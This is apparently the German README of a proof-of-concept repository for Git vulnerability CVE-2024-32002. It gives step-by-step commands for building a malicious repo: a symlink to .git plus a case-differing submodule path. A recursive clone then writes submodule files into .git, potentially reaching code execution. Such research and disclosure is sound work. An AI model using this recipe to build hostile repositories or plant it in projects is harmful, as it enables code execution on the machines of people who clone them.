CVE-2024-32002 PRC AW
Ein POC für CVE-2024-32002, der willkürliches Schreiben in das .git-Verzeichnis demonstriert.
Siehe cve-2024-32002-submodule-aw für das zugehörige Submodul-Repository.
Was dieses Repo enthält
- Ein Symlink mit einem willkürlichen Namen, der auf das
.git-Verzeichnis verweist.
- Eine
.gitmodules-Datei, die das bösartige Submodul definiert.
Wie man dieses Repo nachstellt
Dieses Repo wurde unter Linux (genauer gesagt WSL2) erstellt. Das ist wichtig: Das bösartige Repo kann nur auf einem case-sensitiven Dateisystem erstellt werden.
- Erstellen Sie einen Symlink mit ausschließlich Kleinbuchstaben
ln -s .git submodule
Anmerkungen:
- Der Symlink sollte auf den .git-Ordner zeigen, da dort die Dateien geschrieben werden sollen
- Der Symlink-Name (submodule) ist willkürlich, sollte aber mit einem Kleinbuchstaben beginnen
- Dies ist wichtig, da Kleinbuchstaben vor Großbuchstaben sortiert werden. Wenn der klonende Rechner verwirrt wird, wohin die Submodul-Dateien geschrieben werden sollen, soll er den Symlink und nicht ein normales Verzeichnis wählen.
- Fügen Sie das bösartige Submodul hinzu, unter Beachtung des Groß-/Kleinschreibungsunterschieds beim Submodul-Verzeichnisnamen
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
Anmerkungen:
- Der Name des Submoduls ist wichtig, er wird eine Rolle spielen, wenn wir unseren Hook im Submodul platzieren.
- Das erste Segment des Submodul-Pfads ("Submodule") sollte dem obigen Symlink-Namen entsprechen, nur in der Groß-/Kleinschreibung unterschiedlich.
- Es muss mindestens ein weiteres Segment im Pfad geben, da Git Submodule nur in ein leeres Verzeichnis klont. Es erstellt aber Verzeichnisse für uns, daher haben wir "notexists" gewählt, um das zu demonstrieren.
So führen Sie den POC aus
- Prüfen Sie, ob Sie eine anfällige Git-Version haben. Siehe die GitHub Advisory für betroffene Versionen.
git --version
- Überlegen Sie, ob Sie wissentlich einen Befehl ausführen möchten, der eine RCE erreichen könnte... Dieses Repo ist harmlos, aber sind Sie sicher?
- Führen Sie den folgenden Befehl aus:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- Werfen Sie einen Blick in das .git-Verzeichnis. Sehen Sie etwas Ungewöhnliches? Hinweis: Welche Dateien befinden sich im Submodul.